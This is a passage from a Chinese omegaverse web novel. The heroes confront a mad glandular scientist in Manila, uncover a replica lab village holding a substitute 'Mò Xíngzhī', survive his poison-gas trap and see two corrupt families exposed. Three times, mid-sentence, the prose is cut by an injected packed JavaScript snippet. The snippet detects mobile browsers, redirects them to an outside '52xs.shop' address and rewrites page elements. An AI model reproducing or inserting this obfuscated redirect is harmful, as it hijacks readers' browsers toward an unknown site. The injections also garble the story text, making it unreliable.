蓟萧呼吸渐渐急促起来,想把人抱在怀里疼爱,犬齿也在嘴里蠢蠢欲动。 面对这种突如其来的变故,alpha脑袋像台旧机器。 直到看见那双红瞳带着疑惑转过来,蓟萧瞬间清醒。 “不可以。”蓟萧咽了一口唾沫,喉头烫到冒火,避开视线,“医生说,至少一个星期不能碰…” 话音未落,嘴唇忽地被人亲了下。蓟萧愣住,瞳孔慢慢放大。 就在墨行知还想亲的时候,蓟萧猛地一把将人紧紧抱住,力道之大,仿佛要把他整个人嵌进身体里。 “哥哥,乖一点。”alpha轻轻吻了下怀中人的头发,嗓音暗哑的厉害。 “下次……” 下次?墨行知还在等后面的话,手里的邦迪突然被蓟萧抽走,两秒后,重新贴回到他的后颈处。 - 蓟萧口中的‘下次’,直至落地马尼拉都没能兑现。 墨行知也清楚蓟萧最近在刻意躲着自己。 那天早上从海边一回去,蓟萧就立刻找名宿老板定了一间房。之后几天,无论去做什么事,蓟萧既不会带上他,也不会放他一个人。 总之就是不跟他独处。 来马尼拉的路上更不用说了,他们根本不在一个船舱。 墨行知看着蓟萧抱着快递从眼前走过的身影,第一次有了挫败感。他侧过头问身旁的人:“骆老师,怎么勾引alpha?” “……” 码头人杂嘴多,他的话几乎被淹没,但骆嘉淮和苏樾却同时瞪大了眼睛。 勾、勾引?! 二人因为当时也在医院,所以知道蓟萧为什么跟他拉开距离。但只要是他,哪里需要用到‘勾引’二字,就算站在原地不动,蓟萧也会把一切捧到他面前啊。 见俩人似猫头鹰一般呆住,墨行知垂下眼眸:“当我没问。” 三人打岔的功夫,蓟萧已经跟人上车走了! 墨行知急忙跑过去,坐上拉客的摩托车,指着那个车屁股让师傅追上。 苏樾和骆嘉淮见状,紧跟其后。 几人一路追到一个类似仓库的地方。刚下车,就看到几个小黑拿着枪对准了蓟萧。 墨行知心头骤然一紧,正准备冲上去,就见一个穿着白大褂,左眼戴着黑色眼罩的男人从仓库里走出来。 周围环境被乌云笼罩,仓库的墙壁斑驳不堪,散发着腐朽的气息。白大褂男人瘦骨嶙峋,仿佛行走的骨架,尖尖的红色皮鞋和黄色的紧身牛仔裤,打扮十分诡异。 他看上去应该有四五十岁,一举一动却像个小孩。只见他迈着奇怪的步伐,一摇一摆走到蓟萧面前,脑袋歪向一边,像坏掉的人偶般看着他:“嗯?听说你找我?” 然而,当蓟萧抬起眼时,男人瞳孔剧震,猛一下坐到了地上。 “你!你!!你你你!!!”像是见了厉鬼,男人一只手指着蓟萧,身体拼命往后退,把周围的小黑弄得一脸懵。 蓟萧知道他是个疯子,只沉默地看着。 就在小黑们不知所措时,地上的男人突然爬起来盯着蓟萧,鼻尖几乎快怼到人家脸上。 “我的鳄鱼宝宝~”他双眼充血,嘴角露出兴奋诡异的笑,“你是想我了吗?” 18.培育的omega 蓟萧看着面前疯癫的独眼博士,记忆犹如潮水袭来,一下就将他带到了十年前。 实验室的那场大火,红艳,猛烈,就像一场盛大的婚礼。 蓟萧以为会跟哥哥在天堂相见。 但天堂不该有生命检测仪的声音。 滴- 滴- 滴- 听见这种信号时,蓟萧紧紧蹙起眉,一点也不愿意醒过来。 头很重。 后背很痛。 灼烧感强烈。 “宝宝?” “你醒啦?” 地狱小鬼般的声音出现在头顶,蓟萧猛地睁开了眼睛。 当对上一双浑浊突出的眼球,心脏一下坠入冰窖。 “唔!”博士被瞪得一屁股坐到地上,表情害怕地看着他,“宝宝你吓到我了。” “......” 确定自己还活着,蓟萧立马抬起头左右寻找,这才发现自己趴在床上,怪不得胸前闷闷的。 然而,眼前除了一些冰冷的机器,和一瓶又一瓶颜色怪异的东西,再无第三个人。 “不用找了。” 博士从地上懒懒地爬起来,想起自己被烧毁的一干二净的实验室,气的咬牙切齿。 但是下一刻,他又‘嗤’一声笑了出来,伸手撩起头发。 “真有本事啊。” 蓟萧懒得看他发疯,冷冷地问哥哥在哪里。 就见博士瞬间收起笑容,面无表情瞥下眼,然后当没听见一样走开。 “回答我!”蓟萧大吼,刚想爬起来,却发现四肢都已被锁。 包括腺体。 蓟萧皱起眉,用力挣了挣。 “放开我!!!” 博士毫不在意耳朵里的吵闹,坐到一排瓶瓶罐罐面前,开始研究自己的事情。 嘴里不停念叨着“s级alpha”,声音越来越大,最后疯狂大笑。 “a级alpha!” “我成功啦!!” “我成功啦!!!” 至此之后,蓟萧就没再见到博士,每天只有一个阿姨来给他背上擦药和送饭。 阿姨是个beta,蓟萧也没有为难她,只重复问着两句话。 “有看见哥哥吗?” “博士去哪里了?” 终于有一天,阿姨告诉他,博士去了中国,至于他的哥哥... “他死了。” 蓟萧听后懵了一瞬,随即发狂一般把房间里的东西全部毁掉。 但就是打不开手脚上的锁链... 冷静下来后,他跪在阿姨面前,求她别再给自己饭菜里放药,求她给自己一条生路。 八岁的小孩双手双脚红肿不堪,腺体被五厘米厚的钨钢锁住,浑身瘦弱如流浪的小狗。 他就那样跪在地上把头磕烂。 换来哥哥被带到中国的真相。 等到博士回来,告诉他会给他重新配一个omega,当说到要用他的信息素来培育对方时,蓟萧心中涌起无尽的绝望和愤怒,直接拿起吃饭的筷子猛地戳进对方一只眼睛里。 “哥哥才是我的omega!” “我只要他!” 瞬间,博士捂着左眼,凄厉的惨叫彻响房间内各个角落。 只可惜他还是个小不点,要不了这个疯子的命。 在一阵混乱中,他挣开锁链,跟着阿姨往大门口逃。 当然,没那么容易。 被三个保镖围堵时,他不知天高地厚地压制,几乎去了半条命。 直到阿姨告诉他,领养人的口音像某个城市的人。 哥哥…… 心中唯一的信念让他活了下来。 - “你找到萧了?” 蓟萧被这句话问醒了神。见博士退开一步,笑得灿烂又难看。 “怎么样?他现在很漂亮吧?” 蓟萧眸光暗下来,猛地伸手掐住了他的脖子。 一旁的小黑们见状就要对他开枪,却被博士制止。 “宝宝是应该生气。”曹立被掐得额间青筋暴起,呼吸困难,却还是笑,“他不记得你了,你很难过吧。” 说着,他握住蓟萧的手,加大了力道。 “是我的错…” 蓟萧看着这张令人作呕的脸,暴戾气息直线而上,曹立很快被他弄得翻白眼,红血丝铺满整个眼球。 可即使这样,他还在笑,嘴里不停地念叨着“太棒了”。 就像当年被戳坏眼睛后的第一句话,也是夸赞。 他的作品太厉害了。 蓟萧烦他,手指越收越紧,墨黑的眸子泛起红光,仿佛想把那截脖子掐成两段。 就在曹立受不住想要出手时,另一股霸道的力量突然闯进来,砰一声将他甩到墙上,阻止了他的小动作。 “老头儿,这么喜欢玩阴招,要不要去阴曹地府报到啊?” 蓟萧闻声转头,就见苏樾不知何时出现在身后。等他再次看向博士,才发现对方袖子里有绿色的粉末撒出来。 小黑们见状纷纷朝着他们开枪。然而顶级alpha反应何其快,俩人一下就瞬移到那些小黑身后,不到半分钟,便将人全部撂倒在地。 “咳咳......” “咳咳咳咳......” 曹立爬起来靠在墙上剧烈咳嗽,当看到伤自己的alpha美得不像话,脸上竟露出了欣慰的笑:“宝宝真客气,还带了见面礼。” 蓟萧一秒都不想让他多活,冷着脸:“新培育的omega在哪里?” 听到这话,曹立意外地挑了下眉:“你不是讨厌他嘛。”他指了指左眼罩,“当初都这样对我了。” 蓟萧听不懂他在说什么,眼里被浓浓的杀意覆盖:“在、哪?” 曹立是个B转A的人造alpha,但却是失败品。 他会像别的alpha一样发情,也会有易感期,但在遇到危险时,却没有alpha的力量可以反击。 “宝宝~你看你,咱们这么久没见,不坐下来喝杯茶吗?”曹立察觉到危险,打着哈哈想把人骗进仓库里,“你现在这样高大厉害,我都吓得想不起地址了。” 见人装傻,苏樾眯起眼,两步上前把人看着。曹立此刻还不知道他是一个怎样的存在,扯着嘴角叫了一声美人。 “听说你很喜欢绑人家的四肢啊。”苏美人居高临下,目光瞥向他撑在地上的手,森冷道,“正好,我喜欢把别人的四肢拆下来做成观赏品。” 话音刚落,曹立仰天一声惨叫,左肩被人硬生生踩断。 苏樾耳朵都快被震聋了,蹲下来,本想捂住那张嘴,又嫌脏了手,于是捡起地上的枪塞进去。 “现在,想起来了吗?”他另一只脚踩在男人的右肩上,歪头看着对方,然后用力一蹬,“嗯?” 咔嚓———! 曹立含着枪呜咽,双眼满是惊恐。 - “啊———!” 去找培育omega的路上,墨行知看着视频里男人痛苦嚎叫的样子,头皮直发麻。 “他好丑。”骆嘉淮坐在他旁边,表情一言难尽。 当时,在看到蓟萧被小黑包围,墨行知第一个就想冲上去帮忙,却被苏樾和骆嘉淮同时拽住。 ———“你就别去凑热闹了,有项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13931733|146770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任务更适合你。” 拍视频。 收集博士犯罪的证据。 “骆老师,人怎么能瘦成这样?”墨行知觉得不太合理,“他还是个alpha。” 骆嘉淮对他的关注点感到惊奇,但也习惯了:“嗑药嗑的。” “嗑药?” 骆嘉淮嗯了声,想起苏樾闲聊时说过的话,平静道:“他是科技B转A,但植入alpha腺体的时候太晚了。” 曹立当时二十六岁,beta的身体已经完全发育成熟,这时候想强行转化性别根本不可能,但他却拼命往腺体里注射高级alpha的信息素... 没有身体的机能配合,信息素就像寄生兽,随着时间的推移,一点一点把宿主的精力吸收掉。 为了缓解,曹立研发了各种抑制的药物,但效果却微乎其微。 “所以,他才被折磨成现在这样人不人鬼不鬼的样子。” 墨行知点点头,了然了。 很快,他们跟着的车子进了一个偏僻的庄园。墨行知叉掉视频,重新切回录制状态。 - 为了防止博士耍花招跑掉,下车前,蓟萧找了根绳子把人双脚绑住,只留半米的长短让其走路。 曹立双臂吊在空中晃荡,每走一步都是钻心的痛,这种距离更适合他。 几人来到客厅,然后跟着曹立走到一面墙壁面前。 “按一下。”曹立说。 蓟萧垂眸斜看了他一眼,随后将手平放在墙上用力一推。 下一秒,墙壁出现裂缝,一个类似电梯的东西呈现在几人眼前。 曹立:“走吧。” 正当蓟萧想进去的时候,苏樾伸手拦了一把,笑着说:“您请。” 曹立现在怕他怕的要死,根本不敢再乱说话。 这个电梯没有门,几人进去按下按钮就开始运作。 等到了地下室,走过一条大约百米的走廊,又再次按下一道墙壁的机关后,才终于到达。 当看到一个有水有山,还有房子和农作物,宛如仙境般的地方时,苏樾都惊呆了。 “卧槽?” 然而,蓟萧看完眼前的一切后,眉头却紧紧蹙了起来。 因为这里的每一寸草木,都跟当年他和哥哥待的那个村庄一模一样。 简直就是缩小版。 看到有陌生人进来,原本还在地里拔菜的小孩迅速躲了起来。可等他注意到博士的双手双脚时,又小心翼翼地走了出来。 孩子不过十二三岁,可能因为没有晒过真正的阳光,皮肤是不正常的白。 蓟萧看着他懵懂的样子,仿佛看见了当年的自己。 “你哥哥呢?”曹立问。 他眼中平淡的情绪与看到蓟萧时有着天壤之别。 因为对方还只是一个b级alpha。 “在做饭...” 屋里的人似是听到外面有声音,急忙跑了出来。 “小鱼...” 闻言,蓟萧心头一跳,猛地抬起眼。 那是一个大约二十几岁的omega,很瘦,头发长长的,模样清秀。 小孩很快反应过来,迅速冲过去把人抱住:“萧哥哥。” “......” 蓟萧搞不清现在是什么状况。 为什么小孩要叫小鱼?为什么omega要叫... 所以博士,现在是在复制十年前的他和哥哥吗? 那omega的目光在几人身上来回扫,也有些摸不清状况。 但当他看明白博士是被挟持的一方时,紧张感明显消退了。 “你们是、墨家的人?” 19.谁是谁的替身 墨家的人??? 墨行知看着视频里面的omega,眼睫轻颤,呼吸几近停滞。 这么说... 这个人难道... “你是谁?”墨行知听见苏樾问对方,“为什么知道墨家?” omega看他比旁边的大个子更亲切一点,垂下眼眸说:“博士说,我是墨家抛弃的孩子...” ..........! 空气瞬间凝固。 墨行知耳朵一阵嗡鸣。 原来,真正的‘墨行知’,一直在博士这里。 但‘墨行知’不是s级omega吗? 为什么需要他的信息素来培育? 来这里之前,墨行知想过很多种可能。比如真正的‘墨行知’其实生病了,或者被人绑架了,就算出意外死了... 他也会把尸骨带回去。 他要让墨家身败名裂。 但为什么... “但,就算被抛弃了,我也是一个人。”omega抬眼看着博士,眼神从畏惧转化成恨意,“而不是可以随意圈养的牲畜。” 被抽血,与小十几岁的孩子交换信息素,十年如一日的生活在这种人造的小世界之中。 这不是人该过的日子。 曹立见他态度突变,很不屑地“嗤”了一声。 “当年要不是我把你从海里捞上来,你能活到今天?” 曹立不仅不认为自己有错,脸上还满是被恩将仇报后的委屈神情:“我不仅救了你,还给你植入了新的omega腺体,给你注射s级omega的信息素,让你在远离社会危险的舒适环境中培育,甚至还配个alpha来刺激你的腺体成长。” “我为你付出了不知道多少钱和精力,你只不过是把时间放在这里,供我研究,就这么一点点报答,不是你应该的吗?” 曹立看着他:“别忘了,你是一个腺体损坏的omega,除了时间,你还有什么?” “我没有求你植入新的腺体给我!”omega情绪激动,眼眶通红,“就算去要饭,那也是我自己的选择。” “而且... 我凭什么相信你我是被抛弃的。”omega看了眼怀里的小孩,厌恶地看着他,“你那么卑鄙,给当初只有两三岁的孤儿植入alpha的腺体,说不定,我的腺体就是被你破坏的,记忆也是你动的手脚,而我的父母其实一直在外面找我。” 似是没想到平日里乖顺的人原来心里一直在怀疑自己,曹立都听愣了,好几秒后,他才突然大笑起来。 omega恼羞道:“你笑什么?!” 曹立不回答,拼命笑,直到打嗝。 “你父母会不会找你,谁破坏了你的腺体,你比谁都清楚。”曹立收起笑容,再次抬眼,“我要是动手别人的记忆,只会让他从零开始。” “......” 听到这里,墨行知已经没有录制下去的心情了。他把手机交给骆嘉淮,起身朝着前面几个人走过去。 “行知……”骆嘉淮小声喊他,半站起来想要将人拉住,但看着视频还在继续,只能又蹲了回去。 自从进到这里,骆嘉淮心脏就跳的厉害,总觉得会发生什么不好的事。 这里的地表就像一个圆形水晶球,压的人呼吸难受 想又了想,骆嘉淮最后找了两块石头把手机画面固定住,随后悄悄退出了地下室。 这里的道路都是干土,几乎听不见走路的声音。 墨行知笔直地站在博士身后,开口像飘在空中的树叶。 “所以,我三次从零开始,都是你的杰作。” 闻言,五个人同时一顿,目光倏地转过来。 “哥哥…”蓟萧不知道他一直在这里,神情惊慌。 墨行知目光未动,神情淡定。 苏樾见状底下头。 心想:完了! 而曹立则是一脸茫然,确定是真人站在面前后,突然扑通一下跪在了地上。 还没等众人反应,曹立就拖着被废的双臂跪行,直至额头抵在墨行知的鞋尖处。 像见了母亲一般,alpha情绪突然失控,在众多双眼睛下,豪不顾形象地哭泣起来。 “萧…”曹立看着眼前模糊的黄土,委屈在一瞬间喷发而出,“是我的错…” “是我没用!” “是我没保护好你和小鱼。” “但我也是、被逼无奈啊…” 植入腺体失败后,曹立依旧没有放弃研究。他要把世界上所有被抛弃的beta全都转化成优质AO。这是他的梦想。 可是怎么办?他失败了! 他失败了!!! 这就证明愿意来尝试的志愿者将撤销申请。没人会做失败者的小白鼠。 曹立颓废了很久。直到十九年前一场大地震,无数遗孤无家可归。曹立立即抓住时机,跟一直投资自己研究的墨家合作,创办孤儿院。 场地,审批,运营… 他都不用愁。 经过一段时间的领养,剩下的孤儿基本都是beta,还有体质较差、级别比较低的AO。 《萧》就是其中一个omega。不仅体质差,还是个c级。 所以他一开始并不是曹立的研究对象。 直到一年后他捡到一个婴儿,并在第三天自然分化成一个s级omega。这迅速引起了曹立的主意。 为了不被人发现,曹立封锁消息,把他们转至荷兰。 “后来墨家不知道从哪里查到了消息,突袭到村庄,威胁我说如果不把你给出去,他们就要报警抓我…” 其实只要有本人同意书,植入腺体是不违法的。但抽信息素违法,给毫无意识的婴儿植入腺体也违法。 曹立眼下的黄土变得泥泞,但说到这里的时候,竟在两秒内收起泪水,突出的眼球瞬间被阴暗和愤怒占据。 下一刻,他猛地抬起头转向身后的omega,咬牙切齿道:“是他!” 墨行知微顿,视线同几人一起看过去。 “一切都是他的错!!!” omega被瞪得浑身一颤,不明所以。怀里的小alpha见状则紧紧抱住他,随后凶狠地朝着曹立瞪了回来。 曹立哼了一声,又恢复之前不屑的样子:“他在学校跟一个beta谈恋爱,被墨霖发现后把他关了起来,为了反抗,他竟分化出s级omega的力量。” “墨霖怎么可能还会让他走出墨家的大门。” 然而当墨霖将事情公之于众后,许南兮却坐不住了。因为她最小的儿子墨欢,曾被诊断出有分化优质onega的潜能。 身为墨霖的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13938278|146770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二个老婆,样样事情都要让着大老婆的儿子优先,可身为母亲,她当然要守住本该属于自己儿子的机会。 她遣散员工,放走了‘墨行知’,骗他说那个beta在港口等他,要和他私奔。等‘墨行知’马不停蹄赶到那里,一切都晚了。 他被设计划破腺体,丢入无人岛自生自灭。 可等许南兮刚把人跑了的消息告诉墨霖时,墨欢却分化成了alpha… 时间一天一天过,纸永远包不住火。那可是要跟徐家联姻的关键啊。 后面俩人想到了曹立。 曹立不敢不从,跟着《萧》一起回到中国,并想办法寻找‘墨行知’的下落,却没想到,在《萧》的第一次自杀中,他无意听见了许南兮的秘密。 安置好《萧》,曹立去到无人岛,把尝试自救失败的‘墨行知’从海里捞起来,带回研究地。 他要恢复对方的腺体,换回《萧》,并把许南兮做的事情公布于众。 “十年…” “整整十年…” “我就快成功了…” 曹立直直跪在地上,低着头小声呢喃,看上去像个颓废的人型木桩。 可怜又可悲。 可听完这一切的墨行知却异常冷静,垂眸看着他说:“你做这么多,无非只是想让别人称赞你是一个优秀的腺体科学家。” “你根本不在乎换回我或是讨伐许南兮,不然你在十年前就会把真相说出来。” “你只不过是,想看看还能不能培育出一对顶级的AO出来。” “所以不管是我,小鱼,还有那些被你植入过腺体的人,对于你而言,不过是一个又一个的实验品。” “你只在乎自己的研究成功与否。”墨行知想起那些一闪而过的记忆,咽了咽干涩的喉咙,“根本不在乎我们的生命。” 难不难受,会不会痛... 都不重要。 蓟萧看不得他这样,两步上前把人抱在怀里安抚。 一直想满的事情到最后还是没能瞒住... 淡淡的云杉香味传入鼻尖,滋润心肺,墨行知闭上眼睛,安心地靠在那宽厚的肩膀上。 看着这一幕,omega眼眶很酸,那些选择性遗忘的记忆,也随着真相全部想了起来。 他一直想逃离父亲的掌控,即便腺体被毁,也不曾后悔。但他却被抓来这样的牢笼... 所以,这场逃离他既成功了,也失败了。 谁是谁的替身,在这一刻,已经不重要了。 然而看着这样温情的场面,曹立却讽刺的笑了两声,也不演了,站起来后退,离远看着几人。 “人命比草贱,世情如薄纸。” “看到你们这样情深,我真是感动啊。” “但世间没有‘过河拆桥’的道理对不对?”曹立知道他们这次来的目的,欣慰地露出笑容,“既然你们都是我造出来的,也认定了彼此,那就把真情留在这里吧。” “陪我这个老人家一起...” 就在大家以为他又准备发什么疯时,曹立突然往旁边一个电桩上踢了一脚。 下一秒。 天空突然暗下来,周遭不停发出的红色警报与喷出来的白雾把曹立隐在阴影中。他本就面目狰狞如恶鬼,此刻更是尽显丑陋和邪恶。 “去死。” 20.想你抱 曹立话落瞬间,一股刺鼻的气息汹涌袭来,熏得呼吸道难受不已。 “咳咳......” 苏樾瞳孔一震,立即捂住鼻子。 “是毒气!” 闻言,蓟萧立即跑进屋内,打开水龙头,从柜子里随便拿出一条毯子打湿,让大家披上并捂住口鼻,随后一起往机关处跑。 可不知道为什么,原本只要稍微用力推一下就会打开的墙壁,此刻却纹丝不动。任凭蓟萧和苏樾使尽浑身解数,也不见丝毫缝隙。 墨行知本来腺体就没有好,此刻只觉脑袋晕沉,脚下悬浮。 蓟萧见状把他紧紧抱在怀里,使用保护机制将他与外界隔离。 “哈哈哈哈......”曹立一屁股坐在地上,癫狂般笑起来,“没用的,我已经开启了自曝装置,只要三分钟,我们都会被一起埋在这里。” 听到这话,众人的心瞬间揪紧,因为此时只剩下不到一半的时间。 蓟萧漆黑的眸子射向曹立,眼睫微微一眯,曹立就仰着头腾空而起。 “打开。” 曹立不说话,垂眸看着他笑。下一刻,一股猛力直击曹立的心肺,他只觉心脏仿佛被铁锤敲碎,当场吐出来一口鲜血。 可即使这样,他仍咧着被鲜血染红的牙齿笑。 “咳、宝宝... 谢谢你的见面礼。” “我这一生,如履薄冰,没想到...”曹立又咳了一口血,有气无力地将目光看向一旁的苏樾,“没想到到了死的这一天,竟有美人相陪,也算是... 圆、满了。” 随着最后一个字音落下,曹立便闭上双眼晕死过去。 苏樾被恶心得朝天翻了个白眼,顺便送了他一个国际友好手势。 就在这时,天空突然从灰暗瞬间变得漆黑如墨,原本似仙境般的地方也瞬间沦为地狱。众人靠坐在墙壁处,心脏随着红灯警报器的连串反应疯狂跳动。 呜——— 倒计时三秒钟,一声长鸣过后,大块大块的铁板从天而降。 “砰———!” 干土的灰尘在红光下被砸得一米多高,众人见状纷纷缩回脚,猛地站起身来紧贴着墙壁。 墨行知看着这一幕,双手搂住了蓟萧的脖子。蓟萧垂眼看下来,墨黑的眸子被红光占据,却温柔的安抚他。 “别怕。” 然而现场的破坏声太大,墨行知根本没有听见。他的呼吸道越来越堵,空气越来越稀薄。在晕厥的前一刻,他看见了一块超大的铁板直直朝着他们压下来。 - 滴- 滴- 滴- 这是墨行知最讨厌的信号声。每当听到这种声音,他都知道自己在医院。 头痛欲裂。 浑身无力。 “病人的身体没什么大问题,只需要好好休息,等排出体内的毒素,就可以出院了。” “谢谢医生。” 听到骆嘉淮说话的声音,墨行知眼睫颤动了两下,缓缓挣开眼睛。 入目是一片刺眼的白光,墨行知别开眼,正好看见骆嘉淮关门转身。 “行知!”见他醒了,骆嘉淮凑近床边,“难受吗?要不要喝水?” 墨行知点点头:“...好。” 喉管痛的厉害,他左右看了眼,发现房间只有自己,看着摇高床头的骆嘉淮问道:“他们呢?” 骆嘉淮闻言拿杯子的手颤了下,随后淡定把水送到他嘴边。 “哦,他们在隔壁。” 骆嘉淮当演员会饿死,这是墨行知之前的犀利评价。他没张嘴,就那样静静地盯着对方。 omega顶头就是灯,骆嘉淮被那双红瞳看得头皮发麻。眼见瞒不过,骆嘉淮轻叹一口气:“蓟萧跟苏樾在重症监护室。” “是伤到头部了吗?”墨行知想起当时的状况。 因为承受不住毒气,另一个omega比他还早晕过去,那个小alpha就更不用说了。 那么大一块铁板砸下来,估计有万斤重,而且速度极快,就算蓟萧跟苏樾可以瞬移,但带着他们几个,估计很难全身而退。 “不是。”骆嘉淮看着他,“是腺体严重透支,加上毒气摄入过多,导致感染休克。” “什么!”墨行知一下坐起来,差点把鼻子上的氧气管扯掉。 骆嘉淮见状赶紧把水杯放下,扶着他解释道:“不过现在已经清除大半毒素,医生说他们的身体很强壮,应该不会有生命危险。” 应该?墨行知皱起眉,掀开被子下床:“我去看看。” 骆嘉淮知道拦不住,帮他拔掉氧气管,跟在后面叫他慢点。 原来,当时几人头顶的铁板掉下来时,周围也有好几块铁板在往下掉,他们根本就躲不开。 苏樾和蓟萧见状只能使出全身的力量应对。但万斤重的铁岂是两个人能顶得住的?纵使他们是s级alpha,也顶多承受普通人的三到五倍。 千钧一发之际,骆嘉淮带着警察打开了机关,争分夺秒把他们全部拖进走廊。等到里面一片废墟,警察才把曹立抬出来,骆嘉淮则迅速跑进去把手机拿出来。 好在只是被铁块的角刮碎了屏幕。 曹立的双手接了回去,但双腿已被铁板压断,加上心脏衰竭,医生说只有5-10年的寿命。虽然时间有点短,但也够他在监狱里慢慢熬了。 重症室躺着两个人,一左一右,墨行知隔着玻璃看着其中一个麦色皮肤的人,许久都没有眨眼。 原来,记忆里的那个小婴儿就是这个大家伙啊。 是他捡来的。 也是这个世界上唯一属于他的。 以前他们也是在村庄里自己种菜吗?会养牲畜吗? 这家伙是从小就会捕猎吗? 一想到对方还是个小不点,却凶巴巴地瞪着比自己高好几倍的野生动物时,不知怎的,墨行知心里涌上一股奇特的感受。 “我感觉他们不是病了。”骆嘉淮见两个人的气色都还不错,捏起下巴想了一个形容词,“是困了。” 从鹏城到马尼拉,几天时间两个人都没怎么合过眼,要处理交接人,调查徐墨两家这些年偷税漏税,做假账,以及限制他人人生自由的犯罪证据等等。 墨行知闻言垂下眼眸,两秒后,突然从鼻腔呼出一声笑。 骆嘉淮见鬼一般看着他。 omega肤色很白,透亮如雪,淡粉的唇瓣有些干燥,头发因为没有时间打理,略显凌乱地垂在肩上。他就那样静静地看着地面,眉眼微微带笑,像是清晨爬起来的一缕阳光,宁静而美好。 - 蓟萧和苏樾是第二天转入普通病房的,但还没有苏醒。 得知俩人已经完全没事,真的只是在睡觉,墨行知谢过医生,跟着骆嘉淮轮流照顾两间病房的人。 那个真正的‘墨行知’也醒了过来,听到两个alpha为了保护他们差点没命,又感动又愧疚。 “我会跟你们一起回去,亲自指证许南兮和博士。” 他看着墨行知:“我应该…叫你‘萧’吗?” 墨行知对上他的目光。说实话,墨行知并没有怪他,因为就算没有他,博士也不会放过自己跟蓟萧。 按照那些科学家惯有的思维方式,墨行知跟蓟萧如果一起待到成年,就会被进行下一步研究阶段。 永久标记。 看看能不能生出优质AO。 只不过比起那些被关在繁殖箱里的动物,他们相对自由一点。 但如果生不出来,博士可能会继续研究蓟萧,或者重新再造一个alpha出来。 总之,如果没人发现这种反人道行为,没人报警,他们这一生都将是博士的实验品。 “叫我墨行知吧。”墨行知垂下眼眸,“习惯了。” 反正世界上重名的人那么多。 omega点点头:“我也习惯‘萧’这个名字了。” “那你今年几岁?” “二十五。” “那我们同龄诶!” 墨行知没再接话,把俩人的饭菜摆在桌上后,就出去了。 小alpha看着空荡的房门,走上前抱住了omega,很小心地问:“萧哥哥,是不是出院之后,你就不要我了?” omega一顿,垂眸看着他,几秒后,才摸了摸他的头。 “哥哥不会丢下你。” - 两个s级alpha整整睡了三天三夜才醒。 “哎呀。”苏樾醒来的第一件事就是舒展身体,“腰酸。” 一直任劳任怨照顾他的骆嘉淮很想翻白眼。 墨行知回头,看着坐在床上、还需要自己喂水的人。 “你不起来吗?” 蓟萧黑漆漆的眼睛盯着他,只摇头不说话,看着莫名呆萌。 过了一会儿他才说:“我做了一个小时候你给我做冰淇淋的梦。” 墨行知放下水杯,慢慢抬眼看他:“我现在不会做冰淇淋。” 蓟萧再次摇头,刚想说“没事”,就见墨行知掏出手机,点开某音视频软件,迅速打字搜索着什么。 下一刻,病房里响起了一道中规中矩的女机械音。 “孩子想吃冰淇淋了怎么办,自己在家做,干净又卫生。碗中倒入一盒纯牛奶,一袋冰淇淋粉,不用煮,直接用打蛋器打发五分钟...” 旁边的两个人皱眉看着他们,突然觉得牙槽酸唧唧的。 - 既然都已经没事,一众人当天就出了院。 根据视频里曹立的供词,以及‘墨行知’的指认和医院的检测报告,警察当即就把许南兮进行了拘留。 当墨家资助孤儿院是为了给疯癫博士私下进行腺体研究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13948467|146770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,监禁非正常领养的omega人生自由,并抽取其信息素培育亲儿子,以及偷税漏税百亿的新闻上了头条报道后。 千年历史的大家族就此陨落。 而徐家,也因为监禁他人人生自由,强迫omega发情,以及资产转移近千亿的新闻,遭到相关部门盘查处理。 虽然,这两个企业规模庞大如巨舰,但管理不牢,内部腐烂,财务混乱,崩塌也不需要多少时间。 “近日,花城矿产和地产龙头【徐/墨】集团严重违反了国家《税收征收管理法》,以及《人民保护法》犯罪行为,根据有关部门调查...” 客厅茶几上的鸳鸯汤锅沸腾着,周围是一圈新鲜食材,沙发上的四个人安静地看着电视荧幕,谁都没有提前动筷子。 良久,安静的气氛中轻嗤了一声。 “中国的刑法还是太轻了。” 关到死又如何? 一点也不解气。 “要是在外面,谁敢这么抽信息素,老子直接一枪崩了他们,也属于正当防卫。” 骆嘉淮闻言撇了他一眼:“在外面翻墙进别人家里,还绑架屋主,被反杀后,也属于正当防卫吗?” 苏樾被问的愣了愣,反应过来后皱起眉,一把扑过去捏住骆嘉淮的下巴:“你的反杀就是乱亲歹徒?” “......” “你下次敢亲一个别人试试呢?” “..........” 墨行知看了看俩人的架势,用手肘碰了下身旁的人,等蓟萧垂眸看过来,他双手拉着茶几,朝锅里使了个眼神,下一秒,蓟萧就非常默契的跟他一起把茶几移远了一米的距离。 苏樾/骆嘉淮:??? “话说。”苏樾坐正起来,默默伸手把茶几拉回去,“现在事情都办完了,你倆以后怎么打算呢?” 